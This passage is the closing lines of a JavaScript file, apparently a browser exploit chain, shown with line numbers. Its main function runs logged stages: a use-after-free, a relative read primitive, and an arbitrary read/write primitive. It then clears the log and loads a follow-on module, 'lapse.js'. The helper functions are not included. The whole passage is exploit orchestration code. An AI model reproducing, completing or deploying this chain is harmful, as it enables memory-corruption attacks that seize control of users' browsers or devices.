| 817 | } |
| 818 | |
| 819 | async function main() { |
| 820 | log("STAGE: UAF SSV"); |
| 821 | const [fsets, indices] = prepare_uaf(); |
| 822 | const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]); |
| 823 | |
| 824 | log("STAGE: get string relative read primitive"); |
| 825 | const rdr = await make_rdr(view); |
| 826 | |
| 827 | for (const fset of fsets) { |
| 828 | fset.rows = ""; |
| 829 | fset.cols = ""; |
| 830 | } |
| 831 | |
| 832 | log("STAGE: achieve arbitrary read/write primitive"); |
| 833 | await make_arw(rdr, view2, pop); |
| 834 | |
| 835 | clear_log(); |
| 836 | import("./lapse.js"); |
| 837 | } |
| 838 | main(); |